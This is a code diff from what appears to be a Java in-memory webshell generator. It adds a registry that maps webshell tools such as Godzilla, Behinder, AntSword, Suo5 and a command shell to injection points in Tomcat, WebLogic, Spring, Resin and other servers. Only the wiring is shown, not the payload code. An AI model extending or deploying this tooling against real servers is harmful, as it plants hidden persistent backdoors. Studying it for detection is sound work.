public static List<Packers> getPackersWithParent(Class<?> parentPacker) {
|
||||||
return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).toList();
|
return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).collect(Collectors.toList());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,88 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.resin.antsword.AntSwordListener;
|
|
||||||
import com.reajason.javaweb.memshell.resin.behinder.BehinderListener;
|
|
||||||
import com.reajason.javaweb.memshell.resin.command.CommandListener;
|
|
||||||
import com.reajason.javaweb.memshell.resin.godzilla.GodzillaListener;
|
|
||||||
import com.reajason.javaweb.memshell.resin.injector.ResinFilterChainAgentInjector;
|
|
||||||
import com.reajason.javaweb.memshell.resin.injector.ResinFilterInjector;
|
|
||||||
import com.reajason.javaweb.memshell.resin.injector.ResinListenerInjector;
|
|
||||||
import com.reajason.javaweb.memshell.resin.injector.ResinServletInjector;
|
|
||||||
import com.reajason.javaweb.memshell.resin.suo5.Suo5Listener;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
|
||||||
|
|
||||||
import java.util.LinkedHashMap;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.config.Constants.*;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/14
|
|
||||||
*/
|
|
||||||
public class ResinShell extends AbstractShell {
|
|
||||||
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(SERVLET, Pair.of(CommandServlet.class, ResinServletInjector.class));
|
|
||||||
map.put(FILTER, Pair.of(CommandFilter.class, ResinFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(CommandListener.class, ResinListenerInjector.class));
|
|
||||||
map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, ResinFilterChainAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(SERVLET, Pair.of(GodzillaServlet.class, ResinServletInjector.class));
|
|
||||||
map.put(FILTER, Pair.of(GodzillaFilter.class, ResinFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(GodzillaListener.class, ResinListenerInjector.class));
|
|
||||||
map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, ResinFilterChainAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(SERVLET, Pair.of(BehinderServlet.class, ResinServletInjector.class));
|
|
||||||
map.put(FILTER, Pair.of(BehinderFilter.class, ResinFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(BehinderListener.class, ResinListenerInjector.class));
|
|
||||||
map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, ResinFilterChainAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(SERVLET, Pair.of(Suo5Servlet.class, ResinServletInjector.class));
|
|
||||||
map.put(FILTER, Pair.of(Suo5Filter.class, ResinFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(Suo5Listener.class, ResinListenerInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(SERVLET, Pair.of(AntSwordServlet.class, ResinServletInjector.class));
|
|
||||||
map.put(FILTER, Pair.of(AntSwordFilter.class, ResinFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(AntSwordListener.class, ResinListenerInjector.class));
|
|
||||||
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, ResinFilterChainAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,247 @@
|
|||||||
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.server.*;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.antsword.*;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.antsword.jetty.AntSwordHandlerAdvisor;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.antsword.undertow.AntSwordServletInitialHandlerAdvisor;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.behinder.*;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.behinder.jetty.BehinderHandlerAdvisor;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.behinder.undertow.BehinderServletInitialHandlerAdvisor;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.command.*;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAdvisor;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServletInitialHandlerAdvisor;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.godzilla.jetty.GodzillaHandlerAdvisor;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.godzilla.undertow.GodzillaServletInitialHandlerAdvisor;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Listener;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
|
||||||
|
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerFunction;
|
||||||
|
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerMethod;
|
||||||
|
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
|
||||||
|
import com.reajason.javaweb.memshell.springwebflux.command.CommandWebFilter;
|
||||||
|
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerFunction;
|
||||||
|
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerMethod;
|
||||||
|
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler;
|
||||||
|
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaWebFilter;
|
||||||
|
import com.reajason.javaweb.memshell.springwebflux.suo5.Suo5WebFilter;
|
||||||
|
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler;
|
||||||
|
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor;
|
||||||
|
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordServletAdvisor;
|
||||||
|
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler;
|
||||||
|
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
|
||||||
|
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
|
||||||
|
import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
|
||||||
|
import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
|
||||||
|
import com.reajason.javaweb.memshell.springwebmvc.command.CommandServletAdvisor;
|
||||||
|
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
|
||||||
|
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
|
||||||
|
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor;
|
||||||
|
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
|
||||||
|
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5Interceptor;
|
||||||
|
import lombok.Getter;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
import static com.reajason.javaweb.memshell.server.ServerToolRegistry.addToolMapping;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/11/22
|
||||||
|
*/
|
||||||
|
@Getter
|
||||||
|
public enum Server {
|
||||||
|
/**
|
||||||
|
* Tomcat 中间件
|
||||||
|
*/
|
||||||
|
Tomcat(new TomcatShell()),
|
||||||
|
/**
|
||||||
|
* Jetty 中间件
|
||||||
|
*/
|
||||||
|
Jetty(new JettyShell()),
|
||||||
|
/**
|
||||||
|
* JBoss AS 中间件, JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
|
||||||
|
*/
|
||||||
|
JBossAS(new JbossShell()),
|
||||||
|
JBossEAP6(new JbossShell()),
|
||||||
|
/**
|
||||||
|
* Undertow,对应是 Wildfly 以及 JBoss EAP,也有可能是 SpringBoot 用的
|
||||||
|
* <a href="https://developers.redhat.com/products/eap/download">JBossEAP</a>
|
||||||
|
*/
|
||||||
|
Undertow(new UndertowShell()),
|
||||||
|
JBossEAP7(new UndertowShell()),
|
||||||
|
WildFly(new UndertowShell()),
|
||||||
|
|
||||||
|
/**
|
||||||
|
* SpringMVC 框架
|
||||||
|
*/
|
||||||
|
SpringWebMvc(new SpringWebMvcShell()),
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Spring WebFlux 框架
|
||||||
|
*/
|
||||||
|
SpringWebFlux(new SpringWebFluxShell()),
|
||||||
|
|
||||||
|
/**
|
||||||
|
* WebSphere 中间件
|
||||||
|
*/
|
||||||
|
WebSphere(new WebSphereShell()),
|
||||||
|
|
||||||
|
/**
|
||||||
|
* WebLogic 中间件
|
||||||
|
*/
|
||||||
|
WebLogic(new WebLogicShell()),
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Resin 中间件, <a href="https://caucho.com/products/resin/download">Resin</a>
|
||||||
|
*/
|
||||||
|
Resin(new ResinShell()),
|
||||||
|
|
||||||
|
/**
|
||||||
|
* GlassFish 中间件
|
||||||
|
*/
|
||||||
|
GlassFish(new GlassFishShell()),
|
||||||
|
Payara(new GlassFishShell()),
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 宝兰德中间件
|
||||||
|
*/
|
||||||
|
BES(new BesShell()),
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 东方通中间件
|
||||||
|
*/
|
||||||
|
TongWeb6(new TongWeb6Shell()),
|
||||||
|
TongWeb7(new TongWeb7Shell()),
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 金蝶天燕中间件
|
||||||
|
*/
|
||||||
|
Apusic(new ApusicShell()),
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 中创中间件
|
||||||
|
*/
|
||||||
|
InforSuite(new InforSuiteShell()),
|
||||||
|
|
||||||
|
/**
|
||||||
|
* XXL-JOB
|
||||||
|
*/
|
||||||
|
XXLJOB(new XxlJobShell())
|
||||||
|
;
|
||||||
|
|
||||||
|
private final AbstractShell shell;
|
||||||
|
|
||||||
|
Server(AbstractShell shell) {
|
||||||
|
this.shell = shell;
|
||||||
|
}
|
||||||
|
|
||||||
|
static {
|
||||||
|
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||||
|
.addShellClass(SERVLET, CommandServlet.class)
|
||||||
|
.addShellClass(JAKARTA_SERVLET, CommandServlet.class)
|
||||||
|
.addShellClass(FILTER, CommandFilter.class)
|
||||||
|
.addShellClass(JAKARTA_FILTER, CommandFilter.class)
|
||||||
|
.addShellClass(LISTENER, CommandListener.class)
|
||||||
|
.addShellClass(JAKARTA_LISTENER, CommandListener.class)
|
||||||
|
.addShellClass(VALVE, CommandValve.class)
|
||||||
|
.addShellClass(JAKARTA_VALVE, CommandValve.class)
|
||||||
|
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandServletAdvisor.class)
|
||||||
|
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
|
||||||
|
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
|
||||||
|
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
|
||||||
|
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
|
||||||
|
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
|
||||||
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
|
||||||
|
.addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
|
||||||
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
|
||||||
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
|
||||||
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
|
||||||
|
.build());
|
||||||
|
|
||||||
|
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||||
|
.addShellClass(SERVLET, GodzillaServlet.class)
|
||||||
|
.addShellClass(JAKARTA_SERVLET, GodzillaServlet.class)
|
||||||
|
.addShellClass(FILTER, GodzillaFilter.class)
|
||||||
|
.addShellClass(JAKARTA_FILTER, GodzillaFilter.class)
|
||||||
|
.addShellClass(LISTENER, GodzillaListener.class)
|
||||||
|
.addShellClass(JAKARTA_LISTENER, GodzillaListener.class)
|
||||||
|
.addShellClass(VALVE, GodzillaValve.class)
|
||||||
|
.addShellClass(JAKARTA_VALVE, GodzillaValve.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, GodzillaServletAdvisor.class)
|
||||||
|
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, GodzillaWebFilter.class)
|
||||||
|
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, GodzillaHandlerMethod.class)
|
||||||
|
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, GodzillaHandlerFunction.class)
|
||||||
|
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
|
||||||
|
.addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class)
|
||||||
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class)
|
||||||
|
.addShellClass(JETTY_AGENT_HANDLER, GodzillaHandlerAdvisor.class)
|
||||||
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaServletInitialHandlerAdvisor.class)
|
||||||
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, GodzillaFilterChainAdvisor.class)
|
||||||
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, GodzillaFilterChainAdvisor.class)
|
||||||
|
.build());
|
||||||
|
|
||||||
|
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
||||||
|
.addShellClass(SERVLET, BehinderServlet.class)
|
||||||
|
.addShellClass(JAKARTA_SERVLET, BehinderServlet.class)
|
||||||
|
.addShellClass(FILTER, BehinderFilter.class)
|
||||||
|
.addShellClass(JAKARTA_FILTER, BehinderFilter.class)
|
||||||
|
.addShellClass(LISTENER, BehinderListener.class)
|
||||||
|
.addShellClass(JAKARTA_LISTENER, BehinderListener.class)
|
||||||
|
.addShellClass(VALVE, BehinderValve.class)
|
||||||
|
.addShellClass(JAKARTA_VALVE, BehinderValve.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, BehinderInterceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, BehinderInterceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, BehinderControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, BehinderControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, BehinderServletAdvisor.class)
|
||||||
|
.addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class)
|
||||||
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class)
|
||||||
|
.addShellClass(JETTY_AGENT_HANDLER, BehinderHandlerAdvisor.class)
|
||||||
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderServletInitialHandlerAdvisor.class)
|
||||||
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, BehinderFilterChainAdvisor.class)
|
||||||
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, BehinderFilterChainAdvisor.class)
|
||||||
|
.build());
|
||||||
|
|
||||||
|
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||||
|
.addShellClass(SERVLET, Suo5Servlet.class)
|
||||||
|
.addShellClass(JAKARTA_SERVLET, Suo5Servlet.class)
|
||||||
|
.addShellClass(FILTER, Suo5Filter.class)
|
||||||
|
.addShellClass(JAKARTA_FILTER, Suo5Filter.class)
|
||||||
|
.addShellClass(LISTENER, Suo5Listener.class)
|
||||||
|
.addShellClass(JAKARTA_LISTENER, Suo5Listener.class)
|
||||||
|
.addShellClass(VALVE, Suo5Valve.class)
|
||||||
|
.addShellClass(JAKARTA_VALVE, Suo5Valve.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5Interceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5Interceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, Suo5WebFilter.class)
|
||||||
|
.build());
|
||||||
|
|
||||||
|
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
||||||
|
.addShellClass(SERVLET, AntSwordServlet.class)
|
||||||
|
.addShellClass(FILTER, AntSwordFilter.class)
|
||||||
|
.addShellClass(LISTENER, AntSwordListener.class)
|
||||||
|
.addShellClass(VALVE, AntSwordValve.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSwordServletAdvisor.class)
|
||||||
|
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
|
||||||
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
|
||||||
|
.addShellClass(JETTY_AGENT_HANDLER, AntSwordHandlerAdvisor.class)
|
||||||
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordServletInitialHandlerAdvisor.class)
|
||||||
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSwordFilterChainAdvisor.class)
|
||||||
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSwordFilterChainAdvisor.class)
|
||||||
|
.build());
|
||||||
|
}
|
||||||
|
}
|
||||||
+3
-1
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -29,4 +29,6 @@ public enum ShellTool {
|
|||||||
* 蚁剑
|
* 蚁剑
|
||||||
*/
|
*/
|
||||||
AntSword,
|
AntSword,
|
||||||
|
|
||||||
|
;
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,40 @@
|
|||||||
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/11/28
|
||||||
|
*/
|
||||||
|
public class ShellType {
|
||||||
|
|
||||||
|
public static final String SERVLET = "Servlet";
|
||||||
|
public static final String JAKARTA_SERVLET = "JakartaServlet";
|
||||||
|
public static final String FILTER = "Filter";
|
||||||
|
public static final String JAKARTA_FILTER = "JakartaFilter";
|
||||||
|
public static final String LISTENER = "Listener";
|
||||||
|
public static final String JAKARTA_LISTENER = "JakartaListener";
|
||||||
|
|
||||||
|
public static final String VALVE = "Valve";
|
||||||
|
public static final String JAKARTA_VALVE = "JakartaValve";
|
||||||
|
|
||||||
|
public static final String NETTY_HANDLER = "NettyHandler";
|
||||||
|
|
||||||
|
public static final String AGENT = "Agent";
|
||||||
|
|
||||||
|
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
|
||||||
|
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
|
||||||
|
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
|
||||||
|
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
|
||||||
|
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
|
||||||
|
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
|
||||||
|
|
||||||
|
public static final String SPRING_WEBMVC_INTERCEPTOR = "Interceptor";
|
||||||
|
public static final String SPRING_WEBMVC_JAKARTA_INTERCEPTOR = "JakartaInterceptor";
|
||||||
|
public static final String SPRING_WEBMVC_CONTROLLER_HANDLER = "ControllerHandler";
|
||||||
|
public static final String SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
|
||||||
|
public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET = AGENT + "FrameworkServlet";
|
||||||
|
|
||||||
|
public static final String SPRING_WEBFLUX_WEB_FILTER = "WebFilter";
|
||||||
|
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
|
||||||
|
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
|
||||||
|
public static final String WEBSOCKET = "WebSocket";
|
||||||
|
}
|
||||||
@@ -1,57 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerFunction;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerMethod;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandWebFilter;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerFunction;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerMethod;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaWebFilter;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerFunctionInjector;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerMethodInjector;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxNettyHandlerInjector;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxWebFilterInjector;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.suo5.Suo5WebFilter;
|
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
|
||||||
|
|
||||||
import java.util.LinkedHashMap;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/24
|
|
||||||
*/
|
|
||||||
public class SpringWebFluxShell extends AbstractShell {
|
|
||||||
public static final String WEB_FILTER = "WebFilter";
|
|
||||||
public static final String HANDLER_METHOD = "HandlerMethod";
|
|
||||||
public static final String HANDLER_FUNCTION = "HandlerFunction";
|
|
||||||
public static final String NETTY_HANDLER = "NettyHandler";
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(WEB_FILTER, Pair.of(CommandWebFilter.class, SpringWebFluxWebFilterInjector.class));
|
|
||||||
map.put(HANDLER_METHOD, Pair.of(CommandHandlerMethod.class, SpringWebFluxHandlerMethodInjector.class));
|
|
||||||
map.put(HANDLER_FUNCTION, Pair.of(CommandHandlerFunction.class, SpringWebFluxHandlerFunctionInjector.class));
|
|
||||||
map.put(NETTY_HANDLER, Pair.of(CommandNettyHandler.class, SpringWebFluxNettyHandlerInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(WEB_FILTER, Pair.of(GodzillaWebFilter.class, SpringWebFluxWebFilterInjector.class));
|
|
||||||
map.put(HANDLER_METHOD, Pair.of(GodzillaHandlerMethod.class, SpringWebFluxHandlerMethodInjector.class));
|
|
||||||
map.put(HANDLER_FUNCTION, Pair.of(GodzillaHandlerFunction.class, SpringWebFluxHandlerFunctionInjector.class));
|
|
||||||
map.put(NETTY_HANDLER, Pair.of(GodzillaNettyHandler.class, SpringWebFluxNettyHandlerInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(WEB_FILTER, Pair.of(Suo5WebFilter.class, SpringWebFluxWebFilterInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,87 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordServletAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
|
|
||||||
